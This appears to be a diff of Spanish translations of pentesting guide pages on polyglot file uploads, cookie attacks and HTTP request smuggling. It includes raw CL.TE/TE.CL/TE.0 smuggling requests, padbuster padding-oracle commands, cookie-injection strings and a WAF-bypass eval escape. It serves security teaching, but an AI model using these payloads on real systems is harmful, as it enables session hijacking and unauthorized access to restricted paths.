La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, JS, PHP o archivos Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones.
|
||||
|
||||
A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensiones de archivo de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga.
|
||||
A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga.
|
||||
|
||||
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
@ -8,15 +8,15 @@ Las cookies vienen con varios atributos que controlan su comportamiento en el na
|
||||
|
||||
### Expires y Max-Age
|
||||
|
||||
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie es eliminada. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||
|
||||
### Dominio
|
||||
|
||||
Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde compartir cookies entre subdominios es necesario. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||
Los hosts que recibirán una cookie son especificados por el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde compartir cookies entre subdominios es necesario. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||
|
||||
### Ruta
|
||||
|
||||
Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` se indica mediante el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
|
||||
Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` es indicado por el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
|
||||
|
||||
### Reglas de Ordenación
|
||||
|
||||
@ -32,22 +32,22 @@ Cuando dos cookies tienen el mismo nombre, la que se elige para enviar se basa e
|
||||
- **Lax**: Permite que la cookie se envíe con solicitudes GET iniciadas por sitios web de terceros.
|
||||
- **None**: Permite que la cookie se envíe desde cualquier dominio de terceros.
|
||||
|
||||
Recuerda, al configurar cookies, entender estos atributos puede ayudar a garantizar que se comporten como se espera en diferentes escenarios.
|
||||
Recuerda, al configurar cookies, entender estos atributos puede ayudar a asegurar que se comporten como se espera en diferentes escenarios.
|
||||
|
||||
| **Tipo de Solicitud** | **Código de Ejemplo** | **Cookies Enviadas Cuando** |
|
||||
| --------------------- | --------------------------------------- | ---------------------------- |
|
||||
| Enlace | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulario GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulario POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
| Enlace | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulario GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulario POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\
|
||||
Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
|
||||
|
||||
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo de cookie SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** **en Chrome serán** **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
||||
|
||||
## Banderas de Cookies
|
||||
@ -60,7 +60,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
|
||||
|
||||
- Si la página está **enviando las cookies como respuesta** a una solicitud (por ejemplo, en una página **PHPinfo**), es posible abusar de la XSS para enviar una solicitud a esta página y **robar las cookies** de la respuesta (ver un ejemplo en [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Esto podría ser evadido con solicitudes **TRACE** **HTTP** ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama **Cross-Site Tracking**.
|
||||
- Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
- Esta técnica es evitada por **navegadores modernos al no permitir el envío de una solicitud TRACE** desde JS. Sin embargo, se han encontrado algunas evasiones a esto en software específico como enviar `\r\nTRACE` en lugar de `TRACE` a IE6.0 SP2.
|
||||
- Otra forma es la explotación de vulnerabilidades de día cero en los navegadores.
|
||||
- Es posible **sobrescribir cookies HttpOnly** realizando un ataque de desbordamiento de Cookie Jar:
|
||||
|
||||
@ -68,7 +68,7 @@ Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, p
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Es posible usar el ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar estas cookies.
|
||||
- Es posible usar el ataque de [**Cookie Smuggling**](#cookie-smuggling) para exfiltrar estas cookies.
|
||||
|
||||
### Seguro
|
||||
|
||||
@ -111,7 +111,7 @@ Este ataque implica robar la cookie de un usuario para obtener acceso no autoriz
|
||||
|
||||
### Fijación de Sesión
|
||||
|
||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, poseyendo la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
||||
|
||||
Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
@ -121,7 +121,7 @@ cookie-tossing.md
|
||||
|
||||
### Donación de Sesión
|
||||
|
||||
Aquí, el atacante convence a la víctima para que use la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
|
||||
Aquí, el atacante convence a la víctima de usar la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
|
||||
|
||||
Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
@ -157,46 +157,46 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Esto lleva a que el navegador envíe un encabezado de cookie interpretado por cada servidor web como una cookie llamada `a` con un valor `b`.
|
||||
|
||||
#### Error de Chrome: Problema de Código de Sustitución Unicode
|
||||
#### Error de Chrome: Problema de Código de Sustituto Unicode
|
||||
|
||||
En Chrome, si un código de sustitución Unicode es parte de una cookie establecida, `document.cookie` se corrompe, devolviendo una cadena vacía posteriormente:
|
||||
En Chrome, si un código de sustituto Unicode es parte de una cookie establecida, `document.cookie` se corrompe, devolviendo una cadena vacía posteriormente:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Esto resulta en que `document.cookie` devuelve una cadena vacía, lo que indica una corrupción permanente.
|
||||
|
||||
#### Robo de Cookies Debido a Problemas de Análisis
|
||||
#### Cookie Smuggling Debido a Problemas de Análisis
|
||||
|
||||
(Revisa más detalles en la[investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye puntos y comas, que normalmente deberían separar pares clave-valor:
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye punto y coma, que normalmente deberían separar pares clave-valor:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Vulnerabilidades de Inyección de Cookies
|
||||
|
||||
(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
|
||||
|
||||
- Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
|
||||
- Zope busca una coma para comenzar a analizar la siguiente cookie.
|
||||
- Las clases de cookies de Python comienzan a analizar en un carácter de espacio.
|
||||
|
||||
Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se envían a servidores backend susceptibles a suplantación.
|
||||
Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se pasan a servidores de backend susceptibles a suplantación.
|
||||
|
||||
### Cookies $version y elusión de WAF
|
||||
|
||||
Según [**este blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), podría ser posible usar el atributo de cookie **`$Version=1`** para hacer que el backend utilice una lógica antigua para analizar la cookie debido a la **RFC2109**. Además, otros valores como **`$Domain`** y **`$Path`** pueden ser utilizados para modificar el comportamiento del backend con la cookie.
|
||||
Según [**este blog**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), podría ser posible usar el atributo de cookie **`$Version=1`** para hacer que el backend use una lógica antigua para analizar la cookie debido a la **RFC2109**. Además, otros valores como **`$Domain`** y **`$Path`** pueden ser utilizados para modificar el comportamiento del backend con la cookie.
|
||||
|
||||
#### Análisis de elusión de valores con codificación de cadena entre comillas
|
||||
#### Análisis de elusión de valor con codificación de cadena entre comillas
|
||||
|
||||
Este análisis indica deshacer los valores escapados dentro de las cookies, por lo que "\a" se convierte en "a". Esto puede ser útil para eludir WAFS ya que:
|
||||
|
||||
- `eval('test') => prohibido`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => permitido`
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Elusión de listas de bloqueo de nombres de cookies
|
||||
|
||||
En la RFC2109 se indica que una **coma puede ser utilizada como separador entre valores de cookies**. Y también es posible agregar **espacios y tabulaciones antes y después del signo igual**. Por lo tanto, una cookie como `$Version=1; foo=bar, abc = qux` no genera la cookie `"foo":"bar, admin = qux"` sino las cookies `foo":"bar"` y `"admin":"qux"`. Nota cómo se generan 2 cookies y cómo se eliminó el espacio antes y después del signo igual.
|
||||
En la RFC2109 se indica que una **coma puede ser utilizada como separador entre valores de cookies**. Y también es posible agregar **espacios y tabulaciones antes y después del signo igual**. Por lo tanto, una cookie como `$Version=1; foo=bar, abc = qux` no genera la cookie `"foo":"bar, admin = qux"` sino las cookies `foo":"bar"` y `"admin":"qux"`. Observe cómo se generan 2 cookies y cómo se eliminó el espacio antes y después del signo igual.
|
||||
|
||||
#### Análisis de elusión de valores con división de cookies
|
||||
#### Análisis de elusión de valor con división de cookies
|
||||
|
||||
Finalmente, diferentes puertas traseras se unirían en una cadena diferentes cookies pasadas en diferentes encabezados de cookies como en: 
|
||||
```
|
||||
@ -230,9 +230,9 @@ Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente
|
||||
|
||||
- Intentar crear muchas **cuentas** con nombres de usuario muy **similares** y tratar de **adivinar** cómo está funcionando el algoritmo.
|
||||
- Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
|
||||
- Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
- Intenta **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
|
||||
**Ejemplos de Padding Oracle - Padbuster**
|
||||
**Padding Oracle - Ejemplos de Padbuster**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -254,7 +254,7 @@ Esta ejecución te dará la cookie correctamente cifrada y codificada con la cad
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
|
||||
Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada utilizando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
|
||||
|
||||
**El ataque**
|
||||
|
||||
@ -269,7 +269,7 @@ Cuando inicias sesión, la cookie que recibes tiene que ser siempre la misma.
|
||||
|
||||
**Cómo detectar y atacar:**
|
||||
|
||||
Crea 2 usuarios con casi los mismos datos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
|
||||
Crea 2 usuarios con datos casi idénticos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
|
||||
|
||||
Crea un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verifica si hay algún patrón en la cookie (como ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el nombre de usuario está cifrado).
|
||||
|
||||
|
||||
@ -4,8 +4,8 @@
|
||||
|
||||
## Qué es
|
||||
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** **enviar** una **solicitud** HTTP que será **interpretada** como una **solicitud única** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el **servidor de back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor de back-end después de la suya**.
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el servidor **back-end** permite a un **atacante** **enviar** una **solicitud** HTTP que será **interpretada** como una **solicitud única** por los proxies de **front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el servidor **back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor back-end después de la suya**.
|
||||
|
||||
### Teoría
|
||||
|
||||
@ -24,15 +24,15 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid
|
||||
|
||||
### Realidad
|
||||
|
||||
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el **servidor de Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el **servidor de back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el **servidor de back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
||||
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
||||
|
||||
### Particularidades
|
||||
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
||||
|
||||
- **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
|
||||
- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling.
|
||||
|
||||
## Ejemplos Básicos
|
||||
@ -40,7 +40,7 @@ Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:
|
||||
> [!TIP]
|
||||
> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repetidor porque algunos gadgets abusan de nuevas líneas, retornos de carro y content-lengths malformados.
|
||||
|
||||
Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
|
||||
Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL** y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
|
||||
|
||||
### Ejemplos Básicos de Tipos de Vulnerabilidad
|
||||
|
||||
@ -57,7 +57,7 @@ Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas
|
||||
|
||||
- El atacante envía una solicitud donde el valor del encabezado `Content-Length` no coincide con la longitud real del contenido.
|
||||
- El servidor de front-end reenvía toda la solicitud al back-end, basado en el valor de `Content-Length`.
|
||||
- El servidor de back-end procesa la solicitud como fragmentada debido al encabezado `Transfer-Encoding: chunked`, interpretando los datos restantes como una solicitud separada y subsiguiente.
|
||||
- El servidor back-end procesa la solicitud como fragmentada debido al encabezado `Transfer-Encoding: chunked`, interpretando los datos restantes como una solicitud separada y subsiguiente.
|
||||
- **Ejemplo:**
|
||||
|
||||
```
|
||||
@ -81,7 +81,7 @@ Foo: x
|
||||
|
||||
- El atacante envía una solicitud fragmentada donde el tamaño del fragmento (`7b`) y la longitud real del contenido (`Content-Length: 4`) no se alinean.
|
||||
- El servidor de front-end, respetando `Transfer-Encoding`, reenvía toda la solicitud al back-end.
|
||||
- El servidor de back-end, respetando `Content-Length`, procesa solo la parte inicial de la solicitud (`7b` bytes), dejando el resto como parte de una solicitud subsiguiente no intencionada.
|
||||
- El servidor back-end, respetando `Content-Length`, procesa solo la parte inicial de la solicitud (`7b` bytes), dejando el resto como parte de una solicitud subsiguiente no intencionada.
|
||||
- **Ejemplo:**
|
||||
|
||||
```
|
||||
@ -109,7 +109,7 @@ x=
|
||||
|
||||
- El atacante envía una solicitud con encabezados `Transfer-Encoding` ofuscados.
|
||||
- Dependiendo de qué servidor (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
|
||||
- La parte no procesada de la solicitud, como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando a smuggling.
|
||||
- La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando a smuggling.
|
||||
- **Ejemplo:**
|
||||
|
||||
```
|
||||
@ -141,7 +141,7 @@ Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Solicitud Normal
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **Escenario CL.0**
|
||||
@ -156,14 +156,14 @@ Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Cuerpo No Vacío
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### Escenario TE.0
|
||||
|
||||
- Similar al anterior pero usando TE.
|
||||
- Técnica [reportada aquí](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Ejemplo**:
|
||||
- **Ejemplo:**
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -265,14 +265,14 @@ X
|
||||
|
||||
### Pruebas de Vulnerabilidad de HTTP Request Smuggling
|
||||
|
||||
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si se pueden manipular las solicitudes del cliente. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` produzca una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](./#basic-examples) demuestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
|
||||
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si se pueden manipular las solicitudes del cliente. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` produzca una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](#basic-examples) demuestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
|
||||
|
||||
**Consideraciones Clave**
|
||||
|
||||
Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:
|
||||
|
||||
- **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
- **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
||||
- **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Hacer coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
||||
- **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "de ataque", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
|
||||
- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
- **Impacto No Intencionado en el Usuario:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
|
||||
@ -304,7 +304,7 @@ x=
|
||||
```
|
||||
En el ataque CL.TE, se aprovecha el encabezado `Content-Length` para la solicitud inicial, mientras que la solicitud embebida subsiguiente utiliza el encabezado `Transfer-Encoding: chunked`. El proxy del front-end procesa la solicitud `POST` inicial pero no inspecciona la solicitud embebida `GET /admin`, lo que permite el acceso no autorizado a la ruta `/admin`.
|
||||
|
||||
**Ejemplo TE.CL**
|
||||
**TE.CL Ejemplo**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -320,9 +320,9 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy del front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
|
||||
### Revelando la reescritura de solicitudes de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
